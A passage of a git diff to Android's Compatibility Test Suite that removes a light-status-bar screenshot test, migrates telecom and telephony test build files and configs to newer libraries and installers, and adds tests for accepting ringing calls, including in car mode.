+        int fgGreen = Color.green(foreground);
+        int fgBlue = Color.blue(foreground);
+
+        return Color.argb(fgAlpha + (255 - fgAlpha) * bgAlpha / 255,
+                    fgRed + (255 - fgAlpha) * bgRed / 255,
+                    fgGreen + (255 - fgAlpha) * bgGreen / 255,
+                    fgBlue + (255 - fgAlpha) * bgBlue / 255);
+    }
+
+    private Bitmap takeStatusBarScreenshot() {
+        Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
+        return Bitmap.createBitmap(fullBitmap, 0, 0,
+                getActivity().getWidth(), getActivity().getTop());
+    }
+
+    private Bitmap takeNavigationBarScreenshot() {
+        Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
+        return Bitmap.createBitmap(fullBitmap, 0, getActivity().getBottom(),
+                getActivity().getWidth(), fullBitmap.getHeight() - getActivity().getBottom());
+    }
+}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightStatusBarActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightStatusBarActivity.java
deleted file mode 100644
index b33cc77..0000000
--- a/tests/tests/systemui/src/android/systemui/cts/LightStatusBarActivity.java
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-package android.systemui.cts;
-
-import android.app.Activity;
-import android.graphics.Color;
-import android.os.Bundle;
-import android.view.View;
-import android.view.ViewGroup.LayoutParams;
-
-
-/**
- * An activity that exercises SYSTEM_UI_FLAG_LIGHT_STATUS_BAR.
- */
-public class LightStatusBarActivity extends Activity {
-
-    private View mContent;
-
-    public void onCreate(Bundle bundle){
-        super.onCreate(bundle);
-
-        mContent = new View(this);
-        mContent.setLayoutParams(new LayoutParams(LayoutParams.MATCH_PARENT,
-                LayoutParams.MATCH_PARENT));
-        setContentView(mContent);
-    }
-
-    public void setLightStatusBar(boolean lightStatusBar) {
-        int vis = getWindow().getDecorView().getSystemUiVisibility();
-        if (lightStatusBar) {
-            vis |= View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR;
-        } else {
-            vis &= ~View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR;
-        }
-        getWindow().getDecorView().setSystemUiVisibility(vis);
-    }
-
-    public int getTop() {
-        return mContent.getLocationOnScreen()[1];
-    }
-
-    public int getWidth() {
-        return mContent.getWidth();
-    }
-}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightStatusBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightStatusBarTests.java
deleted file mode 100644
index 879eac5..0000000
--- a/tests/tests/systemui/src/android/systemui/cts/LightStatusBarTests.java
+++ /dev/null
@@ -1,235 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.systemui.cts;
-
-import android.app.ActivityManager;
-import android.content.pm.PackageManager;
-import android.graphics.Bitmap;
-import android.graphics.Color;
-import android.support.test.InstrumentationRegistry;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
-
-import java.io.FileOutputStream;
-import java.io.IOException;
-
-/**
- * Test for light status bar.
- */
-public class LightStatusBarTests extends ActivityInstrumentationTestCase2<LightStatusBarActivity> {
-
-    public static final String TAG = "LightStatusBarTests";
-
-    public static final String DUMP_PATH = "/sdcard/lightstatustest.png";
-
-    public LightStatusBarTests() {
-        super(LightStatusBarActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        // As the way to access Instrumentation is changed in the new runner, we need to inject it
-        // manually into ActivityInstrumentationTestCase2. ActivityInstrumentationTestCase2 will
-        // be marked as deprecated and replaced with ActivityTestRule.
-        injectInstrumentation(InstrumentationRegistry.getInstrumentation());
-    }
-
-    public void testLightStatusBarIcons() throws Throwable {
-        PackageManager pm = getInstrumentation().getContext().getPackageManager();
-        if (pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
-                || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
-                || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
-            // No status bar on TVs and watches.
-            return;
-        }
-
-        if (!ActivityManager.isHighEndGfx()) {
-            // non-highEndGfx devices don't do colored system bars.
-            return;
-        }
-
-        requestLightStatusBar(Color.RED /* background */);
-        Thread.sleep(1000);
-
-        Bitmap bitmap = takeStatusBarScreenshot();
-        Stats s = evaluateLightStatusBarBitmap(bitmap, Color.RED /* background */);
-        boolean success = false;
-
-        try {
-            assertMoreThan("Not enough background pixels", 0.3f,
-                    (float) s.backgroundPixels / s.totalPixels(),
-                    "Is the status bar background showing correctly (solid red)?");
-
-            assertMoreThan("Not enough pixels colored as in the spec", 0.1f,
-                    (float) s.iconPixels / s.foregroundPixels(),
-                    "Are the status bar icons colored according to the spec "
-                            + "(60% black and 24% black)?");
-
-            assertLessThan("Too many lighter pixels lighter than the background", 0.05f,
-                    (float) s.sameHueLightPixels / s.foregroundPixels(),
-                    "Are the status bar icons dark?");
-
-            assertLessThan("Too many pixels with a changed hue", 0.05f,
-                    (float) s.unexpectedHuePixels / s.foregroundPixels(),
-                    "Are the status bar icons color-free?");
-
-            success = true;
-        } finally {
-            if (!success) {
-                Log.e(TAG, "Dumping failed bitmap to " + DUMP_PATH);
-                dumpBitmap(bitmap);
-            }
-        }
-    }
-
-    private void assertMoreThan(String what, float expected, float actual, String hint) {
-        if (!(actual > expected)) {
-            fail(what + ": expected more than " + expected * 100 + "%, but only got " + actual * 100
-                    + "%; " + hint);
-        }
-    }
-
-    private void assertLessThan(String what, float expected, float actual, String hint) {
-        if (!(actual < expected)) {
-            fail(what + ": expected less than " + expected * 100 + "%, but got " + actual * 100
-                    + "%; " + hint);
-        }
-    }
-
-    private void requestLightStatusBar(final int background) throws Throwable {
-        final LightStatusBarActivity activity = getActivity();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                activity.getWindow().setStatusBarColor(background);
-                activity.setLightStatusBar(true);
-            }
-        });
-    }
-
-    private static class Stats {
-        int backgroundPixels;
-        int iconPixels;
-        int sameHueDarkPixels;
-        int sameHueLightPixels;
-        int unexpectedHuePixels;
-
-        int totalPixels() {
-            return backgroundPixels + iconPixels + sameHueDarkPixels
-                    + sameHueLightPixels + unexpectedHuePixels;
-        }
-
-        int foregroundPixels() {
-            return iconPixels + sameHueDarkPixels
-                    + sameHueLightPixels + unexpectedHuePixels;
-        }
-
-        @Override
-        public String toString() {
-            return String.format("{bg=%d, ic=%d, dark=%d, light=%d, bad=%d}",
-                    backgroundPixels, iconPixels, sameHueDarkPixels, sameHueLightPixels,
-                    unexpectedHuePixels);
-        }
-    }
-
-    private Stats evaluateLightStatusBarBitmap(Bitmap bitmap, int background) {
-        int iconColor = 0x99000000;
-        int iconPartialColor = 0x3d000000;
-
-        int mixedIconColor = mixSrcOver(background, iconColor);
-        int mixedIconPartialColor = mixSrcOver(background, iconPartialColor);
-
-        int[] pixels = new int[bitmap.getHeight() * bitmap.getWidth()];
-        bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
-
-        Stats s = new Stats();
-        float eps = 0.005f;
-
-        for (int c : pixels) {
-            if (c == background) {
-                s.backgroundPixels++;
-                continue;
-            }
-
-            // What we expect the icons to be colored according to the spec.
-            if (c == mixedIconColor || c == mixedIconPartialColor) {
-                s.iconPixels++;
-                continue;
-            }
-
-            // Due to anti-aliasing, there will be deviations from the ideal icon color, but it
-            // should still be mostly the same hue.
-            float hueDiff = Math.abs(ColorUtils.hue(background) - ColorUtils.hue(c));
-            if (hueDiff < eps || hueDiff > 1 - eps) {
-                // .. it shouldn't be lighter than the original background though.
-                if (ColorUtils.brightness(c) > ColorUtils.brightness(background)) {
-                    s.sameHueLightPixels++;
-                } else {
-                    s.sameHueDarkPixels++;
-                }
-                continue;
-            }
-
-            s.unexpectedHuePixels++;
-        }
-
-        return s;
-    }
-
-    private void dumpBitmap(Bitmap bitmap) {
-        FileOutputStream fileStream = null;
-        try {
-            fileStream = new FileOutputStream(DUMP_PATH);
-            bitmap.compress(Bitmap.CompressFormat.PNG, 85, fileStream);
-            fileStream.flush();
-        } catch (Exception e) {
-            Log.e(TAG, "Dumping bitmap failed.", e);
-        } finally {
-            if (fileStream != null) {
-                try {
-                    fileStream.close();
-                } catch (IOException e) {
-                    e.printStackTrace();
-                }
-            }
-        }
-    }
-
-    private int mixSrcOver(int background, int foreground) {
-        int bgAlpha = Color.alpha(background);
-        int bgRed = Color.red(background);
-        int bgGreen = Color.green(background);
-        int bgBlue = Color.blue(background);
-
-        int fgAlpha = Color.alpha(foreground);
-        int fgRed = Color.red(foreground);
-        int fgGreen = Color.green(foreground);
-        int fgBlue = Color.blue(foreground);
-
-        return Color.argb(fgAlpha + (255 - fgAlpha) * bgAlpha / 255,
-                    fgRed + (255 - fgAlpha) * bgRed / 255,
-                    fgGreen + (255 - fgAlpha) * bgGreen / 255,
-                    fgBlue + (255 - fgAlpha) * bgBlue / 255);
-    }
-
-    private Bitmap takeStatusBarScreenshot() {
-        Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
-        return Bitmap.createBitmap(fullBitmap, 0, 0,
-                getActivity().getWidth(), getActivity().getTop());
-    }
-}
diff --git a/tests/tests/telecom/Android.mk b/tests/tests/telecom/Android.mk
index 9df78e4..c81a811 100644
--- a/tests/tests/telecom/Android.mk
+++ b/tests/tests/telecom/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner android-support-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 3b564ac..f0cad67 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -17,6 +17,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.telecom.cts">
     <uses-sdk android:minSdkVersion="21" />
+    <uses-permission android:name="android.permission.ANSWER_PHONE_CALLS" />
     <uses-permission android:name="android.permission.CALL_PHONE" />
     <uses-permission android:name="android.permission.CAMERA" />
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
diff --git a/tests/tests/telecom/AndroidTest.xml b/tests/tests/telecom/AndroidTest.xml
index 7f34c0c..fb60586 100644
--- a/tests/tests/telecom/AndroidTest.xml
+++ b/tests/tests/telecom/AndroidTest.xml
@@ -14,10 +14,11 @@
      limitations under the License.
 -->
 <configuration description="Configuration for Telecom Tests">
+    <option name="config-descriptor:metadata" key="component" value="telecom" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.TokenRequirement">
         <option name="token" value="sim-card" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTelecomTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConnectionTest.java b/tests/tests/telecom/src/android/telecom/cts/ConnectionTest.java
index 1fc65c1..e04393c 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ConnectionTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConnectionTest.java
@@ -18,6 +18,8 @@
 
 import static android.telecom.cts.TestUtils.shouldTestTelecom;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
+
 import android.net.Uri;
 import android.os.Build;
 import android.os.Bundle;
@@ -88,7 +90,7 @@
      * {@link UnsupportedOperationException} is only thrown in L MR1+.
      */
     public void testFailedState() {
-        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP_MR1) {
+        if (ApiLevelUtil.isBefore(Build.VERSION_CODES.LOLLIPOP_MR1)) {
             return;
         }
         Connection connection = Connection.createFailedConnection(
@@ -107,7 +109,7 @@
      * {@link UnsupportedOperationException} is only thrown in L MR1+.
      */
     public void testCanceledState() {
-        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP_MR1) {
+        if (ApiLevelUtil.isBefore(Build.VERSION_CODES.LOLLIPOP_MR1)) {
             return;
         }
         Connection connection = Connection.createCanceledConnection();
diff --git a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
index 7fc5958..ca12b34 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
@@ -18,6 +18,7 @@
 
 import static android.telecom.cts.TestUtils.*;
 
+import android.app.UiModeManager;
 import android.content.ContentValues;
 import android.content.Context;
 import android.net.Uri;
@@ -102,11 +103,14 @@
         assertCallState(call, Call.STATE_DIALING);
 
         final int currentInvokeCount = mOnCallAudioStateChangedCounter.getInvokeCount();
-
+        mOnCallAudioStateChangedCounter.waitForCount(WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        CallAudioState callAudioState =
+                (CallAudioState) mOnCallAudioStateChangedCounter.getArgs(0)[0];
 
         // We need to check what audio routes are available. If speaker and either headset or
         // earpiece aren't available, then we should skip this test.
-        int availableRoutes = connection.getCallAudioState().getSupportedRouteMask();
+
+        int availableRoutes = callAudioState.getSupportedRouteMask();
         if ((availableRoutes & CallAudioState.ROUTE_SPEAKER) == 0) {
             return;
         }
@@ -220,6 +224,99 @@
         assertConnectionState(connection, Connection.STATE_ACTIVE);
     }
 
+    public void testAcceptRingingCall() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        addAndVerifyNewIncomingCall(createTestNumber(), null);
+        MockConnection connection = verifyConnectionForIncomingCall(0);
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call = inCallService.getLastCall();
+
+        assertCallState(call, Call.STATE_RINGING);
+        assertConnectionState(connection, Connection.STATE_RINGING);
+
+        mTelecomManager.acceptRingingCall();
+
+        assertCallState(call, Call.STATE_ACTIVE);
+        assertConnectionState(connection, Connection.STATE_ACTIVE);
+    }
+
+
+    /**
+     * Tests that if there is the device is in a call and a second call comes in,
+     * answering the call immediately answers second call without blocking.
+     */
+    public void testAcceptRingingCallTwoCalls() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        addAndVerifyNewIncomingCall(createTestNumber(), null);
+        MockConnection connection1 = verifyConnectionForIncomingCall(0);
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call1 = inCallService.getLastCall();
+
+        call1.answer(VideoProfile.STATE_AUDIO_ONLY);
+
+        assertCallState(call1, Call.STATE_ACTIVE);
+
+        addAndVerifyNewIncomingCall(createTestNumber(), null);
+        final MockConnection connection2 = verifyConnectionForIncomingCall(1);
+        final Call call2 = inCallService.getLastCall();
+
+        assertCallState(call2, Call.STATE_RINGING);
+        assertConnectionState(connection2, Connection.STATE_RINGING);
+
+        mTelecomManager.acceptRingingCall();
+
+        // The second call must now be active
+        assertCallState(call2, Call.STATE_ACTIVE);
+        assertConnectionState(connection2, Connection.STATE_ACTIVE);
+    }
+
+    /**
+     * Tests that if there is the device is in a call and a second call comes in,
+     * answering the call immediately answers second call while in carMode.
+     */
+    public void testAcceptRingingCallTwoCallsCarMode() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        addAndVerifyNewIncomingCall(createTestNumber(), null);
+        MockConnection connection1 = verifyConnectionForIncomingCall(0);
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call1 = inCallService.getLastCall();
+
+        call1.answer(VideoProfile.STATE_AUDIO_ONLY);
+
+        assertCallState(call1, Call.STATE_ACTIVE);
+
+        addAndVerifyNewIncomingCall(createTestNumber(), null);
+        final MockConnection connection2 = verifyConnectionForIncomingCall(1);
+        final Call call2 = inCallService.getLastCall();
+
+        assertCallState(call2, Call.STATE_RINGING);
+        assertConnectionState(connection2, Connection.STATE_RINGING);
+
+        UiModeManager manager = (UiModeManager) mContext.getSystemService(Context.UI_MODE_SERVICE);
+        try {
+            manager.enableCarMode(0);
+
+            mTelecomManager.acceptRingingCall();
+
+            // The second call should now be active
+            assertCallState(call2, Call.STATE_ACTIVE);
+            assertConnectionState(connection2, Connection.STATE_ACTIVE);
+
+        } finally {
+            // Set device back to normal
+            manager.disableCarMode(0);
+        }
+    }
+
     public void testIncomingCallFromBlockedNumber_IsRejected() throws Exception {
         if (!mShouldTestTelecom) {
             return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
index 23022b0..6e022e6 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
@@ -81,9 +81,10 @@
             ConnectionRequest request) {
         final MockConnection connection = new MockConnection();
         connection.setAddress(request.getAddress(), CONNECTION_PRESENTATION);
-        connection.setConnectionCapabilities(
-                connection.getConnectionCapabilities() |
-                        Connection.CAPABILITY_CAN_SEND_RESPONSE_VIA_CONNECTION);
+        connection.setConnectionCapabilities(connection.getConnectionCapabilities()
+                | Connection.CAPABILITY_CAN_SEND_RESPONSE_VIA_CONNECTION
+                | Connection.CAPABILITY_SUPPORT_HOLD
+                | Connection.CAPABILITY_HOLD);
         connection.createMockVideoProvider();
         ((Connection) connection).setVideoState(request.getVideoState());
         if (request.isRequestingRtt()) {
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
index 1e21fdf..ee1f901 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
@@ -366,14 +366,19 @@
         waitOnAllHandlers(getInstrumentation());
     }
 
-    public void testEmergencyCallOngoing() throws Exception {
+    /**
+     * Disabled for now; there is not a reliable means of setting a phone number as a test emergency
+     * number.
+     * @throws Exception
+     */
+    public void DONOTtestEmergencyCallOngoing() throws Exception {
         if (!mShouldTestTelecom) {
             return;
         }
 
+        // TODO: Need to find a reliable way to set a test emergency number.
         // Set 555-1212 as a test emergency number.
-        TestUtils.executeShellCommand(getInstrumentation(),
-                "setprop ril.ecclist 5551212");
+        TestUtils.executeShellCommand(getInstrumentation(), "setprop ril.ecclist 5551212");
 
         Bundle extras = new Bundle();
         extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE,
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index 06926a1..5c67190 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -15,6 +15,8 @@
  */
 package android.telecom.cts;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
+
 import android.app.Instrumentation;
 import android.content.ComponentName;
 import android.content.Context;
diff --git a/tests/tests/telecom2/Android.mk b/tests/tests/telecom2/Android.mk
index 18f5d77..d839924 100644
--- a/tests/tests/telecom2/Android.mk
+++ b/tests/tests/telecom2/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 src_dirs := src \
     ../telecom/src/android/telecom/cts/SelfManagedConnection.java \
diff --git a/tests/tests/telecom2/AndroidTest.xml b/tests/tests/telecom2/AndroidTest.xml
index e7ae80c..a06984f 100644
--- a/tests/tests/telecom2/AndroidTest.xml
+++ b/tests/tests/telecom2/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Configuration for Telecom2 Tests">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="telecom" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTelecomTestCases2.apk" />
     </target_preparer>
diff --git a/tests/tests/telecom3/Android.mk b/tests/tests/telecom3/Android.mk
index 4b4a896..7400fb5 100644
--- a/tests/tests/telecom3/Android.mk
+++ b/tests/tests/telecom3/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 src_dirs := src \
     ../telecom/src/android/telecom/cts/SelfManagedConnection.java \
diff --git a/tests/tests/telecom3/AndroidTest.xml b/tests/tests/telecom3/AndroidTest.xml
index 7576d62..10fe2b1 100644
--- a/tests/tests/telecom3/AndroidTest.xml
+++ b/tests/tests/telecom3/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Configuration for Telecom3 Tests">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="telecom" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTelecomTestCases3.apk" />
     </target_preparer>
diff --git a/tests/tests/telephony/Android.mk b/tests/tests/telephony/Android.mk
index 6f81691..e502384 100644
--- a/tests/tests/telephony/Android.mk
+++ b/tests/tests/telephony/Android.mk
@@ -24,7 +24,12 @@
 
 LOCAL_JAVA_LIBRARIES := telephony-common
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctsdeviceutil legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+    legacy-android-test
+
+LOCAL_HOST_SHARED_LIBRARIES := compatibility-device-telephony-preconditions
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -38,3 +43,4 @@
 LOCAL_JAVA_LIBRARIES += android.test.runner
 
 include $(BUILD_CTS_PACKAGE)
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/telephony/AndroidManifest.xml b/tests/tests/telephony/AndroidManifest.xml
index e1905d1..38d20c6 100644
--- a/tests/tests/telephony/AndroidManifest.xml
+++ b/tests/tests/telephony/AndroidManifest.xml
@@ -24,6 +24,7 @@
     <uses-permission android:name="android.permission.WRITE_CONTACTS" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE" />
     <uses-permission android:name="android.permission.SEND_SMS" />
+    <uses-permission android:name="android.permission.READ_SMS" />
     <uses-permission android:name="android.permission.RECEIVE_SMS" />
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
@@ -84,6 +85,47 @@
             </intent-filter>
         </service>
 
+        <service
+          android:name="android.telephony.cts.StubInCallService"
+          android:permission="android.permission.BIND_INCALL_SERVICE">
+            <intent-filter>
+                <action android:name="android.telecom.InCallService"/>
+            </intent-filter>
+            <meta-data
+              android:name="android.telecom.IN_CALL_SERVICE_UI"
+              android:value="true"/>
+        </service>
+
+        <service
+          android:name=".MockVisualVoicemailService"
+          android:permission="android.permission.BIND_VISUAL_VOICEMAIL_SERVICE"
+          android:exported="true">
+            <intent-filter>
+                <action android:name="android.telephony.VisualVoicemailService"/>
+            </intent-filter>
+
+        </service>
+
+        <service
+            android:name=".PermissionlessVisualVoicemailService"
+            android:enabled="false"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.telephony.VisualVoicemailService"/>
+            </intent-filter>
+
+        </service>
+
+        <activity android:name="android.telephony.cts.StubDialerActvity">
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL"/>
+                <data android:scheme="tel"/>
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL"/>
+            </intent-filter>
+        </activity>
+
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/tests/telephony/AndroidTest.xml b/tests/tests/telephony/AndroidTest.xml
index 2e6011b..0aebd01 100644
--- a/tests/tests/telephony/AndroidTest.xml
+++ b/tests/tests/telephony/AndroidTest.xml
@@ -14,14 +14,15 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Telephony test cases">
+    <option name="config-descriptor:metadata" key="component" value="telecom" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.TokenRequirement">
         <option name="token" value="sim-card" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTelephonyTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.telephony.cts" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/telephony/preconditions/Android.mk b/tests/tests/telephony/preconditions/Android.mk
new file mode 100644
index 0000000..6577932
--- /dev/null
+++ b/tests/tests/telephony/preconditions/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := compatibility-host-util cts-tradefed tradefed
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE := compatibility-host-telephony-preconditions
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/telephony/preconditions/app/Android.mk b/tests/tests/telephony/preconditions/app/Android.mk
new file mode 100644
index 0000000..349daed
--- /dev/null
+++ b/tests/tests/telephony/preconditions/app/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctstestrunner \
+                                compatibility-device-util \
+                                compatibility-device-preconditions
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsTelephonyPreparerApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telephony/preconditions/app/AndroidManifest.xml b/tests/tests/telephony/preconditions/app/AndroidManifest.xml
new file mode 100644
index 0000000..894b510
--- /dev/null
+++ b/tests/tests/telephony/preconditions/app/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
